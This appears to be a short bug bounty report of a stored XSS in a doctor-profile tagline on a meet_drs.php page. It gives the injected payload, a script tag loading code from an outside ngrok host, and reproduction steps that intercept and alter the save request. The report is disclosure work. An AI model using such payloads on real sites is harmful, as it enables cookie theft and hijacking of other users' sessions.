BugBountyHunter

I have discovered a stored XSS vulnerability affecting the tagline of a doctors profile on the meet_drs.php page

Note:

if a photoUrl is not present then the tagline is ignored in the send request ``

Payload string

<script/src=//ngrok.io/payload.js?c=

payload.js contents

alert(document.domain)

To reproduce:

1. Host the payload.js file on a server I used ngrok
2. Login in to the drpanel and pick a doctor to modify
3. Make any modifications you would like
4. Click Save information and intercept the request
5. Add &photoUrl={relative link}&tagline=<script/src=//ngrok.io/payload.js?c=

6. Visit firstbloodhackers.com/meet_drs.php and the xss will execute

   Impact:

7. The attacker could steal a user's cookies.
8. The attacker can steal data from whoever views the page.
9. Users can execute arbitrary JavaScript code in the context of other users.